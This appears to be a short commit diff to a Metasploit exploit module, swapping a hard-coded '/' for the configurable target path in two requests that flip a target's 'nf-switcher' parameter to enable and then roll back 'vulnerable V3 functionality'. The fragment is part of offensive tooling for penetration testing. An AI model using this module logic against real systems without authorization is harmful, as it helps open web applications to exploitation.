Remove hard coded target path
parent
adb8098b8c
commit
19c4d5b02b
|
@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status 'Enabling vulnerable V3 functionality...'
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => { 'nf-switcher' => 'upgrade' }
|
||||
)
|
||||
|
||||
|
@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status 'Disabling vulnerable V3 functionality...'
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => { 'nf-switcher' => 'rollback' }
|
||||
)
|
||||
|
||||
|
|
Loading…
Reference in New Issue